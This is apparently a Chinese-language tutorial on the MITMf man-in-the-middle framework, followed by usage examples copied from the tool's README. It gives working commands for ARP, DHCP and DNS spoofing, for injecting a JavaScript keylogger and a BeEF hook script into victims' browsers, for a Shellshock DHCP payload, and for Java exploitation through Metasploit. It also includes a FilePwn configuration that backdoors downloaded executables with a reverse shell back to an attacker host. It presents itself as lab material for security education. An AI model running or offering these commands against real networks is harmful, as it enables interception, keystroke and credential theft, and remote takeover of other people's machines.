MITMF

**************************************************************************
需要自行手动安装python-nfqueue,pefile模块
sudo apt-get install python-nfqueue,pefile
sudo apt-get install mitmf*
pip uninstall twisted
wget http://twistedmatrix.com/Releases/Twisted/15.5/Twisted-15.5.0.tar.bz2
pip install ./Twisted-15.5.0.tar.bz2
这样,我们就可以正常使用 mitmf 了
sudo mitmf (一定要使用root权限运行)

下面简要介绍几个MITMf的基础功能,更多扩展工具阅读
https://github.com/secretsquirrel/the-backdoor-factory
https://github.com/secretsquirrel/BDFProxy

恶搞功能: 它可以使目标浏览网页时,所有的图片都倒转 180度。
mitmf --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.114 --upsidedownternet

Inject模块的注入功能

注入html Iframe 框架 (指向网址:http://www.freebuf.com):
mitmf -i eth0 --spoof --gateway 192.168.217.2 --target 192.168.217.129 --inject --html-url http://www.freebuf.com

注入js:
mitmf -i eth0 --spoof --gateway 192.168.217.2 --target 192.168.217.129 --inject --js-url http://linvex.xxx.cn/test.js

注入键盘记录js: mitmf --spoof –-arp -i eth0 –-gateway 192.168.1.1 –-target 192.168.1.114 --jskeylogger

娱乐一下
最后再看一下“破壳”是如何在DHCP中起作用的
./mitmf.py -i eth0 --spoof --dhcp --shellshock
这里的命令可以用cmd参数自行指定。
关于这个问题大家一致的思路是这样的:我们的手机IOS、Android都是基于unix的,所以如果我们搭建一个dhcp的WIFI服务器,能有什么收获呢?

高级玩法:
(1)与Beef配合使用:
运行 beef 来调用 beef 的 hook 脚本: cd /usr/share/beef-xss && ./beef
我们可以在启动界面找到 hook 脚本的地址和 UI界面的地址
在浏览器打开UI界面后,下面我们就用 mitmf 进行中间人攻击。输入如下命令:
mitmf --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.114 --inject –js-url http://192.168.1.110:3000/hook.js
原理是: 利用ARP进行地址欺骗,让局域网中的其他电脑,误认为Kali为网关路由。
当目标机器打开;浏览器,就会被注入 hook 脚本。之后便可在beef上进行客户端的控制。
我们可以在另一台实验机器上进行查看,验证下Mac地址是否已经更改。
当目标打开浏览器进行访问时,我们可以在beef的UI客户端上看到目标的已经成功被 hook.
在那台实验机器上,利用审查元素功能进行源码查看。我们可以看到hook 脚本已经被注入

(2)利用java漏洞进行攻击
使用的是javapwn模块。
这个模块事实上就是根据客户端的java版本从msf挑出攻击payload进行溢出渗透攻击的过程,
只不过是将注入的过程加入到了ARP欺骗的过程而不是之前演示的那种直接给客户端一个url,使得攻击更为自然。
将metasploit打开,然后载入msgrpc模块: msf > load msgrpc Pass=abc123
其他部分保持默认就好了。然后是MITMf端,输入以下命令:
./mitmf.py -i eth0 --spoof --gateway 192.168.217.2 --target 192.168.217.129 --javapwn --msfip 192.168.217.137
然后我们就只需要等待就可以了,这个过程我们可以看到靶机所浏览的一些网站记录同时我们也能接收到一些毒化html的反馈信息。
如果顺利,我们的jar就被执行了。

(3)为PE文件注入后门实现渗透
使用Filepwn模块,与msf结合同样可以获得shell。
Filepwn的原理:ARP过程中如果探测到靶机有下载的活动,便劫持下载链接,首先将文件下载下来进行解包分析,如果是可执行文件就尝试注入后门,如果失败则重新打包。最后将文件输出给靶机由靶机进行下载。这里的文档支持 zip和tar.gz格式解包,支持各种可执行文件。
同样我们打开metasploit,使用handler,开始监听:
msfconsole
use exploit/multi/handler
set LHOST 192.168.217.137
set LPORT 1447
run

在使用MITMf前我们需要对配置文件进行配置,注入信息配置如下(只列出作用位置)
…………SNIP…………
[[[WindowsIntelx86]]]        
PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND        
HOST = 192.168.217.137        
PORT = 1447        
SHELL = reverse_shell_tcp        
SUPPLIED_SHELLCODE = None        
ZERO_CERT = False        
PATCH_DLL = True        
MSFPAYLOAD = windows/shell_reverse_tcp
…………SNIP…………
接下来是MITMf:
./mitmf.py --iface eth0 --spoof --gateway 192.168.217.2 --target 192.168.217.129 --filepwn
然后就是等待靶机下载文件然后执行就可以了。
最后我们的靶机执行了文件,然后msf获得到了shell。
***************************************************************************

https://github.com/byt3bl33d3r/MITMf
Examples

The most basic usage, starts the HTTP proxy SMB,DNS,HTTP servers and Net-Creds on interface enp3s0:
python mitmf.py -i enp3s0

ARP poison the whole subnet with the gateway at 192.168.1.1 using the Spoof plugin:

python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1

Same as above + a WPAD rogue proxy server using the Responder plugin:

python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --responder --wpad

ARP poison 192.168.1.16-45 and 192.168.0.1/24 with the gateway at 192.168.1.1:

python mitmf.py -i enp3s0 --spoof --arp --target 192.168.2.16-45,192.168.0.1/24 --gateway 192.168.1.1

Enable DNS spoofing while ARP poisoning (Domains to spoof are pulled from the config file):

python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1

Enable LLMNR/NBTNS/MDNS spoofing:

python mitmf.py -i enp3s0 --responder --wredir --nbtns

Enable DHCP spoofing (the ip pool and subnet are pulled from the config file):

python mitmf.py -i enp3s0 --spoof --dhcp

Same as above with a ShellShock payload that will be executed if any client is vulnerable:

python mitmf.py -i enp3s0 --spoof --dhcp --shellshock ‘echo 0wn3d‘

Inject an HTML IFrame using the Inject plugin:

python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com

Inject a JS script:

python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js

And much much more!

Of course you can mix and match almost any plugin together (e.g. ARP spoof + inject + Responder etc..)

For a complete list of available options, just run python mitmf.py --help

Currently available plugins

HTA Drive-By : Injects a fake update notification and prompts clients to download an HTA application
SMBTrap : Exploits the ‘SMB Trap‘ vulnerability on connected clients
ScreenShotter : Uses HTML5 Canvas to render an accurate screenshot of a clients browser
Responder : LLMNR, NBT-NS, WPAD and MDNS poisoner
SSLstrip+ : Partially bypass HSTS
Spoof : Redirect traffic using ARP, ICMP, DHCP or DNS spoofing
BeEFAutorun : Autoruns BeEF modules based on a client‘s OS or browser type
AppCachePoison : Performs HTML5 App-Cache poisoning attacks
Ferret-NG : Transperently hijacks client sessions
BrowserProfiler : Attempts to enumerate all browser plugins of connected clients
FilePwn : Backdoor executables sent over HTTP using the Backdoor Factory and BDFProxy
Inject : Inject arbitrary content into HTML content
BrowserSniper : Performs drive-by attacks on clients with out-of-date browser plugins
JSkeylogger : Injects a Javascript keylogger into a client‘s webpages
Replace : Replace arbitrary content in HTML content
SMBAuth : Evoke SMB challenge-response authentication attempts
Upsidedownternet : Flips images 180 degrees
工具有几项基本功能:

sslstrip模块
默认是开启的状态。这里我尝试了用-d参数关闭了sslstrip,但是出现了无法使用的情况,应该是框架本身的bug。

Filepwn模块
主要作用是当被欺骗对象尝试下载文件时,首先对文件进行分析,对可执行文件(PE、ELF)进行后门注入,然后再给到被欺骗对象,这个下面我还会给出详细的说明。

Cachekill模块
清空客户端的缓存缓冲池,这个在我们需要重新注入一段js时是很有用的。这个功能还是非常有用的,关于用处,大家可以参考EtherDream同学的JS缓存投毒的文章,不细说。

Spoof模块
十分重要的一个模块,当我们使用MITM功能攻击欺骗时绝对是不能缺少的。其主要包括对ARP、ICMP、DHCP进行流量重定向(三种模式不能同时使用),手动指定iptables命令等,其他的规则文件(cfg文件)在主目录的config目录下,我们可以进行自定义配置。这里值得说一下是,工具还在前几天更新了关于“破壳”漏洞的DHCP影响,我们可以通过shellshock参数进行指定。下面我也会有图片进行证明演示。

BeEFAutorun模块
该模块可以使框架可以连接到BeEF,BeEF的强大我想大家是有目共睹的。连接到BeEF之后就可以将MITM与浏览器渗透结合起来,功能自然更强大,姿势,也更猥琐了。

Replace模块
这个模块主要是可以对浏览内容进行替换,支持正则表达式。注意,这里模块默认情况下是强制刷新缓存缓冲池的,要想不改变缓冲内容,需要手动指定keep-cache参数。

Inject模块
可以向被欺骗者的浏览内容中注入各种猥琐的东西,比如js啦,html啦,图片啦,小电影啦。。。也是比较有用的一个模块,下文我们还会说到。

Browser Profiler插件
枚举被欺骗机器的浏览器插件。对于我们前期的信息收集阶段还是很有用的。

JavaPwn模块
可以通过向被攻击机器中注入jar使得浏览内容被毒化,和metasploit联合可以直接渗透机器拿到shell(这点后文我也会重点说),metasploit有多强大玩渗透的同学没有不知道的吧?不知道的先出去罚站半小时(鄙人metasploit死忠粉)

Javascript Keylogger模块
一个键盘记录js,后文会有介绍

App Cache Poison
app缓存投毒。对于网页应用程序进行毒化处理,然后进行随心所欲的攻击。是Krzysztof Kotowicz的补充模块。

Upsidedownternet
恶搞模块,让浏览者的世界翻转。

RedirectsBrowserProfiler –这个插件可以检测目标的浏览器类型,这将有助于识别漏洞

时间: 2024-07-31 14:26:16

MITMF的相关文章

MITMf:中间人攻击框架 -由中国寒龙整理收集

MITMf:中间人攻击框架 MITMF是一个可用于中间人攻击的框架.这个框架是基于Python的,它拥有数个插件,增加了更多的渗透测试方面的功能.一些实用的插件: jskeylogger – 这个插件可以在目标机器上注入一个 javascript 键盘记录器 JavaPwn – 在客户端利用过时的Java浏览器插件,配合使用Metasploit 安装假的Java更新 FilePwn – 这个插件使用后门工厂掩饰可执行文件,以及通过http发送zip文件 Spoof – 使用ARP欺骗,DNS欺骗

内网劫持渗透新姿势:MITMf简要指南

声明:本文具有一定攻击性,仅作为技术交流和安全教学之用,不要用在除了搭建环境之外的环境. 0×01 题记 又是一年十月一,想到小伙伴们都纷纷出门旅游,皆有美酒佳人相伴,想到这里,不禁潸然泪下.子曰:"长得丑就要多读书!"于是有了这篇文章. 0×02 简要介绍 这篇文章的主要目的是介绍一下一个最新的中间人攻击测试框架 – MITMf.工具的作者是byt3bl33d3r,是基于代理工具sergio-proxy修改而来.这里是工具的地址: https://github.com/byt3bl3

Mitmf中间人攻击框架与beef结合,XSS一把

本文章中所使用的方法只是未了学习教育,如果读者使用该方法用于恶意用途,造成的法律后果,读者自负:网站:https://github.com/byt3bl33d3r/MITMf 安装Mitmf:1. 在Debian下安装依赖包apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcaps

局域网中间人:MITMf使用

系统环境:kali 安装流程参考github官方地址:https://github.com/byt3bl33d3r/MITMf/wiki/Installation 安装相关依赖: apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev

MITMF使用import error

安装问题: 1.ubuntu 14.04.安装使用capstone时候,提示出现import error:ERROR: fail to load the dynamic library. 解决方法:将/usr/lib64/libcapstone*复制到capstone.py同一个目录下即可. mv /usr/lib64/libcapstone* /usr/lib/python2.7/dist-package/capstone 2.没有dns.resolver模块. pip install dns

Github 安全类Repo收集整理

作者:天谕链接:https://zhuanlan.zhihu.com/p/21380662来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明出处.刚好这两天对之前github上关注的一些比较有意思的项目进行了一下分类整理,在这里列出来分享给大家,希望能对大家寻找工具或者资源有所帮助. 大部分Repo是关于安全以及Python的,也有一些其他主题的项目,有很多我都没有用过,关于项目的功能概括如果写的有不对的地方,还请大家多多包涵,给予指正. 欢迎组团欢迎一起学习交流!转载请注

渗透资源大全-整理

漏洞及渗透练习平台: ZVulDrillhttps://github.com/710leo/ZVulDrill SecGen Ruby编写的一款工具,生成含漏洞的虚拟机https://github.com/cliffe/secgen btslab渗透测试实验室https://github.com/CSPF-Founder/btslab WebGoat漏洞练习环境https://github.com/WebGoat/WebGoathttps://github.com/WebGoat/WebGoat

Ethical Hacking - NETWORK PENETRATION TESTING(17)

MITM - bypassing HTTPS Most websites use https in their login pages, this means that these pages are validated using an SSL certificate and there for will show a warning to the user that the certificate is invalid. SSLstrip is a tool that canbe used

Ethical Hacking - NETWORK PENETRATION TESTING(22)

MITM - Wireshark WIreshark is a network protocol analyser that is designed to help network administartors to keep track of what is happening in their network and analyse all the packtes. Wireshark works by logging each packet that flows through the d